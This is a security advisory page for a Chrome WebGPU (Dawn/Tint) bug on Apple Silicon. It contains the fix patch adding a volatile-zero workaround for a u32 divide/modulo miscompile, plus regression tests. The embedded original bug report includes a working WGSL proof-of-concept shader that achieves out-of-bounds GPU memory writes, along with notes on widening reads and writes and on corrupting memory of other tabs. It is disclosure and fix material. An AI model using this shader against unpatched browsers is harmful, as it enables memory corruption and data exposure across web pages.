CVE-2026-14422
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
TEST_Psrc/dawn/tests/end2end/ShaderTests.cpp |
modified |
Files Changed
src/dawn/native/Toggles.cppsrc/dawn/native/Toggles.hsrc/dawn/native/metal/PhysicalDeviceMTL.mmsrc/dawn/native/metal/ShaderModuleMTL.mmsrc/dawn/tests/end2end/ShaderTests.cppsrc/tint/lang/msl/builtin_fn.ccsrc/tint/lang/msl/builtin_fn.cc.tmplsrc/tint/lang/msl/builtin_fn.hsrc/tint/lang/msl/intrinsic/data.cc
Patch
From a9a6ec351486b901f0d1f6e6c46f256248bc90c0 Mon Sep 17 00:00:00 2001
From: James Price <jrprice@google.com>
Date: Mon, 08 Jun 2026 10:06:58 -0700
Subject: [PATCH] [msl] Add workaround for u32 div/mod miscompile
Add a volatile zero to the LHS of all u32 divide and modulo
operations, which fixes a miscompile on Apple Silicon.
Bug: 517225032
Change-Id: I1e9e56a5109ada6a6d89760116d5a5f24f8bacc4
Reviewed-on: https://dawn-review.googlesource.com/c/dawn/+/312755
Reviewed-by: dan sinclair <dsinclair@chromium.org>
Commit-Queue: James Price <jrprice@google.com>
---
diff --git a/src/dawn/native/Toggles.cpp b/src/dawn/native/Toggles.cpp
index a18adb6..444f39d 100644
--- a/src/dawn/native/Toggles.cpp
+++ b/src/dawn/native/Toggles.cpp
@@ -792,6 +792,10 @@
{Toggle::D3D12UseHLSL2021,
{"d3d12_use_hlsl_2021", "Use HLSL 2021 when targeting DXC.", "https://crbug.com/508342536",
ToggleStage::Device}},
+ {Toggle::MetalFixU32DivMod,
+ {"metal_fix_u32_div_mod",
+ "Workaround a driver bug on Apple Silicon with u32 div and mod operations.",
+ "https://crbug.com/517225032", ToggleStage::Device}},
{Toggle::WaitIsThreadSafe,
{"wait_is_thread_safe",
"WaitFor* functions are thread-safe and can be called without the device-lock if implicit "
diff --git a/src/dawn/native/Toggles.h b/src/dawn/native/Toggles.h
index 02fde65..5434a62 100644
--- a/src/dawn/native/Toggles.h
+++ b/src/dawn/native/Toggles.h
@@ -189,6 +189,7 @@
VulkanUseExtendedDynamicState,
VulkanForceStaticSamplersForExternalTextures,
D3D12UseHLSL2021,
+ MetalFixU32DivMod,
// Once all backends have been updated to be thread safe for waiting, we can remove this toggle.
WaitIsThreadSafe,
diff --git a/src/dawn/native/metal/PhysicalDeviceMTL.mm b/src/dawn/native/metal/PhysicalDeviceMTL.mm
index 0e06675..e4bde35 100644
--- a/src/dawn/native/metal/PhysicalDeviceMTL.mm
+++ b/src/dawn/native/metal/PhysicalDeviceMTL.mm
@@ -552,6 +552,9 @@
if ([*mDevice supportsFamily:static_cast<::MTLGPUFamily>(1008)]) {
deviceToggles->Default(Toggle::MetalSerializeTimestampGenerationAndResolution, true);
}
+
+ // TODO(517225032): Gate on macOS version when a fix is released.
+ deviceToggles->Default(Toggle::MetalFixU32DivMod, true);
}
// Local testing shows the workaround is needed on AMD Radeon HD 8870M (gcn-1) MacOS 12.1;
diff --git a/src/dawn/native/metal/ShaderModuleMTL.mm b/src/dawn/native/metal/ShaderModuleMTL.mm
index 183f3d1..605a3fc 100644
--- a/src/dawn/native/metal/ShaderModuleMTL.mm
+++ b/src/dawn/native/metal/ShaderModuleMTL.mm
@@ -362,6 +362,8 @@
device->IsToggleEnabled(Toggle::MetalReplaceWorkgroupBoolWithU32);
req.tintOptions.workarounds.collapse_subgroup_min_max =
device->IsToggleEnabled(Toggle::CollapseSubgroupMinMax);
+ req.tintOptions.workarounds.fix_u32_div_mod =
+ device->IsToggleEnabled(Toggle::MetalFixU32DivMod);
req.tintOptions.extensions.disable_demote_to_helper =
device->IsToggleEnabled(Toggle::DisableDemoteToHelper);
diff --git a/src/dawn/tests/end2end/ShaderTests.cpp b/src/dawn/tests/end2end/ShaderTests.cpp
index 948f9d4..32b0643 100644
--- a/src/dawn/tests/end2end/ShaderTests.cpp
+++ b/src/dawn/tests/end2end/ShaderTests.cpp
@@ -1227,6 +1227,52 @@
EXPECT_BUFFER_U32_EQ(2, buf, 0);
}
+// Test for an MSL miscompile that produces incorrect results for a certain pattern of unsigned
+// integer arithmetic instructions whose intermediate results overflow.
+// See https://crbug.com/517225032
+TEST_P(ShaderTests, MetalMulShiftModOverflowBug) {
+ wgpu::ComputePipelineDescriptor cDesc;
+ cDesc.compute.module = utils::CreateShaderModule(device, R"(
+ @group(0) @binding(0)
+ var<storage, read_write> value: u32;
+
+ @compute @workgroup_size(1u)
+ fn main() {
+ let input = value;
+ value = ((input * input) >> 16u) % 3u;
+ }
+ )");
+ wgpu::ComputePipeline pipeline = device.CreateComputePipeline(&cDesc);
+
+ wgpu::BufferDescriptor bufDesc;
+ bufDesc.size = 4;
+ bufDesc.usage =
+ wgpu::BufferUsage::Storage | wgpu::BufferUsage::CopySrc | wgpu::BufferUsage::CopyDst;
+ wgpu::Buffer buf = device.CreateBuffer(&bufDesc);
+
+ // Write 0x10004 to the buffer.
+ uint32_t inputVal = 0x10004;
+ queue.WriteBuffer(buf, 0, &inputVal, sizeof(inputVal));
+
+ wgpu::BindGroup bg = utils::MakeBindGroup(device, pipeline.GetBindGroupLayout(0), {{0, buf}});
+
+ wgpu::CommandEncoder encoder = device.CreateCommandEncoder();
+ wgpu::ComputePassEncoder pass = encoder.BeginComputePass();
+ pass.SetPipeline(pipeline);
+ pass.SetBindGroup(0, bg);
+ pass.DispatchWorkgroups(1);
+ pass.End();
+
+ wgpu::CommandBuffer commands = encoder.Finish();
+ queue.Submit(1, &commands);
+
+ // We expect output to be 2:
+ // 0x10004 * 0x10004 = 0x100080010 = 0x80010 (mod 2^32)
+ // 0x80010 >> 16 = 0x8
+ // 0x8 % 3 = 2
+ EXPECT_BUFFER_U32_EQ(2, buf, 0);
+}
+
// Test that when fragment input is a subset of the vertex output, the render pipeline should be
// valid.
TEST_P(ShaderTests, FragmentInputIsSubsetOfVertexOutput) {
diff --git a/src/tint/lang/msl/builtin_fn.cc b/src/tint/lang/msl/builtin_fn.cc
index 6b575f9..38b86ce 100644
--- a/src/tint/lang/msl/builtin_fn.cc
+++ b/src/tint/lang/msl/builtin_fn.cc
@@ -134,6 +134,8 @@
return "os_log";
case BuiltinFn::kPointerOffset:
return "pointer_offset";
+ case BuiltinFn::kVolatileZero:
+ return "volatile_zero";
}
return "<unknown>";
}
@@ -192,6 +194,7 @@
case BuiltinFn::kMakeFilledSimdgroupMatrix:
case BuiltinFn::kOsLog:
case BuiltinFn::kPointerOffset:
+ case BuiltinFn::kVolatileZero:
break;
}
return core::ir::Instruction::Accesses{};
diff --git a/src/tint/lang/msl/builtin_fn.cc.tmpl b/src/tint/lang/msl/builtin_fn.cc.tmpl
index 22f1547..9ab527c 100644
--- a/src/tint/lang/msl/builtin_fn.cc.tmpl
+++ b/src/tint/lang/msl/builtin_fn.cc.tmpl
@@ -85,6 +85,7 @@
case BuiltinFn::kMakeFilledSimdgroupMatrix:
case BuiltinFn::kOsLog:
case BuiltinFn::kPointerOffset:
+ case BuiltinFn::kVolatileZero:
break;
}
return core::ir::Instruction::Accesses{};
diff --git a/src/tint/lang/msl/builtin_fn.h b/src/tint/lang/msl/builtin_fn.h
index 881fb02..9ec7a90 100644
--- a/src/tint/lang/msl/builtin_fn.h
+++ b/src/tint/lang/msl/builtin_fn.h
@@ -95,6 +95,7 @@
kSimdgroupMultiplyAccumulate,
kOsLog,
kPointerOffset,
+ kVolatileZero,
kNone,
};
diff --git a/src/tint/lang/msl/intrinsic/data.cc b/src/tint/lang/msl/intrinsic/data.cc
index b96105f..4dc5d38 100644
--- a/src/tint/lang/msl/intrinsic/data.cc
+++ b/src/tint/lang/msl/intrinsic/data.cc
@@ -6221,6 +6221,17 @@
/* return_matcher_indices */ MatcherIndicesIndex(/* invalid */),
/* const_eval_fn */ ConstEvalFunctionIndex(/* invalid */),
},
+ {
+ /* [203] */
+ /* flags */ OverloadFlags(OverloadFlag::kIsBuiltin, OverloadFlag::kSupportsVertexPipeline, OverloadFlag::kSupportsFragmentPipeline, OverloadFlag::kSupportsComputePipeline),
+ /* num_parameters */ 0,
+ /* num_explicit_templates */ 0,
+ /* num_templates */ 0,
+ /* templates */ TemplateIndex(/* invalid */),
+ /* parameters */ ParameterIndex(/* invalid */),
+ /* return_matcher_indices */ MatcherIndicesIndex(62),
+ /* const_eval_fn */ ConstEvalFunctionIndex(/* invalid */),
+ },
};
static_assert(OverloadIndex::CanIndex(kOverloads),
@@ -6667,6 +6678,12 @@
/* num overloads */ 3,
/* overloads */ OverloadIndex(176),
},
+ {
+ /* [45] */
+ /* fn volatile_zero() -> u32 */
Regression Test / PoC
diff --git a/src/dawn/tests/end2end/ShaderTests.cpp b/src/dawn/tests/end2end/ShaderTests.cpp
index 948f9d4..32b0643 100644
--- a/src/dawn/tests/end2end/ShaderTests.cpp
+++ b/src/dawn/tests/end2end/ShaderTests.cpp
@@ -1227,6 +1227,52 @@
EXPECT_BUFFER_U32_EQ(2, buf, 0);
}
+// Test for an MSL miscompile that produces incorrect results for a certain pattern of unsigned
+// integer arithmetic instructions whose intermediate results overflow.
+// See https://crbug.com/517225032
+TEST_P(ShaderTests, MetalMulShiftModOverflowBug) {
+ wgpu::ComputePipelineDescriptor cDesc;
+ cDesc.compute.module = utils::CreateShaderModule(device, R"(
+ @group(0) @binding(0)
+ var<storage, read_write> value: u32;
+
+ @compute @workgroup_size(1u)
+ fn main() {
+ let input = value;
+ value = ((input * input) >> 16u) % 3u;
+ }
+ )");
+ wgpu::ComputePipeline pipeline = device.CreateComputePipeline(&cDesc);
+
+ wgpu::BufferDescriptor bufDesc;
+ bufDesc.size = 4;
+ bufDesc.usage =
+ wgpu::BufferUsage::Storage | wgpu::BufferUsage::CopySrc | wgpu::BufferUsage::CopyDst;
+ wgpu::Buffer buf = device.CreateBuffer(&bufDesc);
+
+ // Write 0x10004 to the buffer.
+ uint32_t inputVal = 0x10004;
+ queue.WriteBuffer(buf, 0, &inputVal, sizeof(inputVal));
+
+ wgpu::BindGroup bg = utils::MakeBindGroup(device, pipeline.GetBindGroupLayout(0), {{0, buf}});
+
+ wgpu::CommandEncoder encoder = device.CreateCommandEncoder();
+ wgpu::ComputePassEncoder pass = encoder.BeginComputePass();
+ pass.SetPipeline(pipeline);
+ pass.SetBindGroup(0, bg);
+ pass.DispatchWorkgroups(1);
+ pass.End();
+
+ wgpu::CommandBuffer commands = encoder.Finish();
+ queue.Submit(1, &commands);
+
+ // We expect output to be 2:
+ // 0x10004 * 0x10004 = 0x100080010 = 0x80010 (mod 2^32)
+ // 0x80010 >> 16 = 0x8
+ // 0x8 % 3 = 2
+ EXPECT_BUFFER_U32_EQ(2, buf, 0);
+}
+
// Test that when fragment input is a subset of the vertex output, the render pipeline should be
// valid.
TEST_P(ShaderTests, FragmentInputIsSubsetOfVertexOutput) {
diff --git a/src/tint/lang/msl/writer/raise/binary_polyfill_test.cc b/src/tint/lang/msl/writer/raise/binary_polyfill_test.cc
index 93c71a8..ead1565 100644
--- a/src/tint/lang/msl/writer/raise/binary_polyfill_test.cc
+++ b/src/tint/lang/msl/writer/raise/binary_polyfill_test.cc
@@ -71,7 +71,8 @@
}
)";
- Run(BinaryPolyfill);
+ BinaryPolyfillConfig config{};
+ Run(BinaryPolyfill, config);
EXPECT_EQ(expect, str());
}
@@ -105,7 +106,8 @@
}
)";
- Run(BinaryPolyfill);
+ BinaryPolyfillConfig config{};
+ Run(BinaryPolyfill, config);
EXPECT_EQ(expect, str());
}
@@ -132,7 +134,8 @@
auto* expect = src;
- Run(BinaryPolyfill);
+ BinaryPolyfillConfig config{};
+ Run(BinaryPolyfill, config);
EXPECT_EQ(expect, str());
}
@@ -169,7 +172,8 @@
}
)";
- Run(BinaryPolyfill);
+ BinaryPolyfillConfig config{};
+ Run(BinaryPolyfill, config);
EXPECT_EQ(expect, str());
}
@@ -206,7 +210,8 @@
}
)";
- Run(BinaryPolyfill);
+ BinaryPolyfillConfig config{};
+ Run(BinaryPolyfill, config);
EXPECT_EQ(expect, str());
}
@@ -243,7 +248,8 @@
}
)";
- Run(BinaryPolyfill);
+ BinaryPolyfillConfig config{};
+ Run(BinaryPolyfill, config);
EXPECT_EQ(expect, str());
}
@@ -280,7 +286,114 @@
}
)";
- Run(BinaryPolyfill);
+ BinaryPolyfillConfig config{};
+ Run(BinaryPolyfill, config);
+
+ EXPECT_EQ(expect, str());
+}
+
+TEST_F(MslWriter_BinaryPolyfillTest, UMod_WithoutPolyfill) {
+ auto* lhs = b.FunctionParam<u32>("lhs");
+ auto* rhs = b.FunctionParam<u32>("rhs");
+ auto* func = b.Function("foo", ty.u32());
+ func->SetParams({lhs, rhs});
+ b.Append(func->Block(), [&] {
+ auto* result = b.Modulo(lhs, rhs);
+ b.Return(func, result);
+ });
+
+ auto* src = R"(
+%foo = func(%lhs:u32, %rhs:u32):u32 {
+ $B1: {
+ %4:u32 = mod %lhs, %rhs
+ ret %4
+ }
+}
+)";
+ EXPECT_EQ(src, str());
+
+ auto* expect = src;
+
+ BinaryPolyfillConfig config{};
+ Run(BinaryPolyfill, config);
+
+ EXPECT_EQ(expect, str());
+}
+
+TEST_F(MslWriter_BinaryPolyfillTest, UMod_WithPolyfill) {
+ auto* lhs = b.FunctionParam<u32>("lhs");
+ auto* rhs = b.FunctionParam<u32>("rhs");
+ auto* func = b.Function("foo", ty.u32());
+ func->SetParams({lhs, rhs});
+ b.Append(func->Block(), [&] {
+ auto* result = b.Modulo(lhs, rhs);
+ b.Return(func, result);
+ });
+
+ auto* src = R"(
+%foo = func(%lhs:u32, %rhs:u32):u32 {
+ $B1: {
+ %4:u32 = mod %lhs, %rhs
+ ret %4
+ }
+}
+)";
+ EXPECT_EQ(src, str());
+
+ auto* expect = R"(
+%foo = func(%lhs:u32, %rhs:u32):u32 {
+ $B1: {
+ %4:u32 = msl.volatile_zero
+ %5:u32 = add %lhs, %4
+ %6:u32 = mod %5, %rhs
+ ret %6
+ }
+}
+)";
+
+ BinaryPolyfillConfig config{
+ .fix_u32_div_mod = true,
+ };
+ Run(BinaryPolyfill, config);
+
+ EXPECT_EQ(expect, str());
+}
+
+TEST_F(MslWriter_BinaryPolyfillTest, UDiv_WithPolyfill) {
+ auto* lhs = b.FunctionParam<u32>("lhs");
+ auto* rhs = b.FunctionParam<u32>("rhs");
+ auto* func = b.Function("foo", ty.u32());
+ func->SetParams({lhs, rhs});
+ b.Append(func->Block(), [&] {
+ auto* result = b.Divide(lhs, rhs);
+ b.Return(func, result);
+ });
+
+ auto* src = R"(
+%foo = func(%lhs:u32, %rhs:u32):u32 {
+ $B1: {
+ %4:u32 = div %lhs, %rhs
+ ret %4
+ }
+}
+)";
+ EXPECT_EQ(src, str());
+
+ auto* expect = R"(
+%foo = func(%lhs:u32, %rhs:u32):u32 {
+ $B1: {
+ %4:u32 = msl.volatile_zero
+ %5:u32 = add %lhs, %4
+ %6:u32 = div %5, %rhs
+ ret %6
+ }
+}
+)";
+
+ BinaryPolyfillConfig config{
+ .fix_u32_div_mod = true,
+ };
+ Run(BinaryPolyfill, config);
EXPECT_EQ(expect, str());
}
diff --git a/src/tint/lang/msl/writer/writer_test.cc b/src/tint/lang/msl/writer/writer_test.cc
index c38fada..d3c3831 100644
--- a/src/tint/lang/msl/writer/writer_test.cc
+++ b/src/tint/lang/msl/writer/writer_test.cc
@@ -726,5 +726,32 @@
)");
}
+TEST_F(MslWriterTest, FixU32DivMod) {
+ auto* func = b.ComputeFunction("main");
+ b.Append(func->Block(), [&] {
+ auto* lhs = b.Let("lhs", 0x10004_u);
+ b.Let("result", b.Modulo(lhs, 3_u));
+ b.Return(func);
+ });
+
+ Options options;
+ options.entry_point_name = "main";
+ options.workarounds.fix_u32_div_mod = true;
+ options.disable_polyfill_integer_div_mod = true;
+ auto result = Generate(options);
+ ASSERT_EQ(result, Success) << result.Failure();
+ EXPECT_EQ(output_.msl, R"(#include <metal_stdlib>
+using namespace metal;
+
+volatile constexpr constant uint tint_volatile_zero = 0u;
+
+[[max_total_threads_per_threadgroup(1)]]
+kernel void v() {
+ uint const lhs = 65540u;
+ uint const result = ((lhs + tint_volatile_zero) % 3u);
+}
+)");
+}
+
} // namespace
} // namespace tint::msl::writer
Original Bug Report
[macOS] OOB access in WGSL shader at execution time
Vulnerability details
Chrome allows the compilation and execution of GPU shaders written in the WGSL shading language using the WebGPU API (Dawn). On Mac Mini M4, a WGSL shader is miscompiled, allowing OOB read/write access to GPU memory at execution time.
const SIZE = 1;
struct StorageBuffer {
a: array<array<u32, SIZE>, 3>,
}
@group(0) @binding(0)
var<storage, read_write> s: StorageBuffer;
@compute @workgroup_size(1u)
fn main(@builtin(num_workgroups) w: vec3<u32>) {
var w_Inv = ~w;
s.a[(dot(w_Inv.xy, w_Inv.xy) >> 16u) % 3u][0u] = 0x2A2A2A2A;
}
You can manipulate the offset with SIZE; I think the shader writes from byte 24*SIZE behind the buffer s. You can also read, using out = s.a[(dot(w_Inv.xy, w_Inv.xy) >> 16u) % 3u][0u]; where out is a storage var.
Furthermore, you can R/W to the entire inner array of s.a, so for SIZE=2 you see bytes 48-41 behind you. For larger sizes, you can manipulate binding offset to access even more memory without creating a new storage buffer (offset can move you forward in increments of 256).
Version
Device: Mac Mini 2024 (Apple M4) 16GB MU9D3LL/A
Chrome version: 148.0.7778.179 (Official Build) (arm64)
OS: macOS Tahoe 26.5 (Build 25F71)
Reproduction case
Open poc.html in Chrome with Metal Shader Validation environment variables. More info here: https://developer.apple.com/documentation/xcode/validating-your-apps-metal-shader-usage/
MTL_SHADER_VALIDATION=1 MTL_SHADER_VALIDATION_REPORT_TO_STDERR=1 MTL_SHADER_VALIDATION_REPORT_ALLOCATION_STACK_TRACE=1 /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
Now in the terminal you should see:
Invalid device store at offset 18446744073709551592, executing kernel function: "dawn_entry_point_66696c653a2f2f2066696c653a2f2f"
buffer: <unnamed>, length:16, resident:Read Write
pipeline: "Dawn_ComputePipeline", UID: "71A6A64FC0AEED9DFF21059CD5A1FFD5FA558763431F7CA63B45803C5ED5FEA9" encoder: "0", dispatch: 0
* frame #0: v_6() - /program_source:44:85
* frame #1: dawn_entry_point_66696c653a2f2f2066696c653a2f2f() - /program_source:50:3
Allocation stack trace:
1 MetalTools 0x000000018fbed684 -[MTLGPUDebugDevice newBufferWithLength:options:] + 176
2 Chromium Framework 0x00000003016142ac _ZN4dawn6native5metal6Buffer10InitializeEb + 1024
3 Chromium Framework 0x00000003016137ec _ZN4dawn6native5metal6Buffer6CreateEPNS1_6DeviceERKNS0_11UnpackedPtrINS0_16BufferDescriptorEEE + 276
4 Chromium Framework 0x000000030162e05c _ZN4dawn6native5metal6Device16CreateBufferImplERKNS0_11UnpackedPtrINS0_16BufferDescriptorEEE + 200
5 Chromium Framework 0x0000000301423480 _ZN4dawn6native10DeviceBase15APICreateBufferEPKNS0_16BufferDescriptorE + 1440
6 Chromium Framework 0x0000000301250364 _ZN4dawn4wire6server6Server20DoDeviceCreateBufferENS1_5KnownIP14WGPUDeviceImplEEPK20WGPUBufferDescriptorNS0_12ObjectHandleEyPKhySC_ + 436
7 Chromium Framework 0x00000003011de720 _ZN4dawn4wire6server6Server24HandleDeviceCreateBufferEPNS0_17DeserializeBufferE + 560
8 Chromium Framework 0x00000003011e50fc _ZN4dawn4wire6server6Server14HandleCommandsEPVKcm + 1848
9 Chromium Framework 0x00000003193015e0 _ZN3gpu6webgpu12_GLOBAL__N_114DawnWireServer14HandleCommandsEPVKcm + 224
10 Chromium Framework 0x0000000319301998 _ZN3gpu6webgpu12_GLOBAL__N_117WebGPUDecoderImpl18HandleDawnCommandsEjPVKv + 748
11 Chromium Framework 0x00000003192f7764 _ZN3gpu6webgpu12_GLOBAL__N_117WebGPUDecoderImpl10DoCommandsEjPVKviPi + 524
12 Chromium Framework 0x00000003081c6fc8 _ZN3gpu20CommandBufferService5FlushEiPNS_17AsyncAPIInterfaceE + 1212
13 Chromium Framework 0x00000003192520e4 _ZN3gpu17CommandBufferStub12OnAsyncFlushEijRKNSt4__Cr6vectorINS_9SyncTokenENS1_9allocatorIS3_EEEE + 1100
14 Chromium Framework 0x000000031925127c _ZN3gpu17CommandBufferStub22ExecuteDeferredRequestERNS_5mojom34DeferredCommandBufferRequestParamsEPNS_24FenceSyncReleaseDelegateE + 1144
15 Chromium Framework 0x000000031926fda4 _ZN3gpu10GpuChannel22ExecuteDeferredRequestEN4mojo9StructPtrINS_5mojom21DeferredRequestParamsEEEPNS_24FenceSyncReleaseDelegateE + 660
16 Chromium Framework 0x000000031927c4c4 _ZN4base8internal20DecayedFunctorTraitsIMN3gpu10GpuChannelEFvN4mojo9StructPtrINS2_5mojom21DeferredRequestParamsEEEPNS2_24FenceSyncReleaseDelegateEEJONS_7WeakPtrIS3_EEOS8_EE6InvokeISC_RKSE_JS8_SA_EEEvT_OT0_DpOT1_ + 328
17 Chromium Framework 0x000000031927c2dc _ZN4base8internal7InvokerINS0_13FunctorTraitsIOMN3gpu10GpuChannelEFvN4mojo9StructPtrINS3_5mojom21DeferredRequestParamsEEEPNS3_24FenceSyncReleaseDelegateEEJONS_7WeakPtrIS4_EEOS9_EEENS0_9BindStateILb1ELb1ELb0ESD_JSG_S9_EEEFvSB_EE7RunOnceEPNS0_13BindStateBaseESB_ + 284
18 Chromium Framework 0x0000000308200aa8 _ZN4base8internal7InvokerINS0_13FunctorTraitsIONS_12OnceCallbackIFvPN3gpu24FenceSyncReleaseDelegateEEEEJS6_EEENS0_9BindStateILb0ELb1ELb1ES8_JNS0_17UnretainedWrapperIS5_NS_17unretained_traits12MayNotDangleELN15partition_alloc8internal12RawPtrTraitsE0EEEEEEFvvEE7RunImplIS8_NSt4__Cr5tupleIJSI_EEEJLm0EEEEvOT_OT0_NSN_16integer_sequenceImJXspT1_EEEE + 456
19 Chromium Framework 0x00000003081da888 _ZN3gpu9Scheduler15ExecuteSequenceEN4base6IdTypeINS_18SyncPointOrderDataEjLj0ELj1EJEEE + 2712
20 Chromium Framework 0x00000003081d8ad0 _ZN3gpu9Scheduler11RunNextTaskEv + 640
21 Chromium Framework 0x00000003081dc46c _ZN4base8internal7InvokerINS0_13FunctorTraitsIOMN3gpu9SchedulerEFvvEJPS4_EEENS0_9BindStateILb1ELb1ELb0ES6_JNS0_17UnretainedWrapperIS4_NS_17unretained_traits12MayNotDangleELN15partition_alloc8internal12RawPtrTraitsE0EEEEEEFvvEE7RunOnceEPNS0_13BindStateBaseE + 388
Alternatively, open poc_complex.html and use the UI to find&replace or corrupt GPU memory from other tabs (watch poc_complex.mp4).
I also reported this to Apple Security Research (OE1106112628661).
Reporter credit: Michal Andryskowski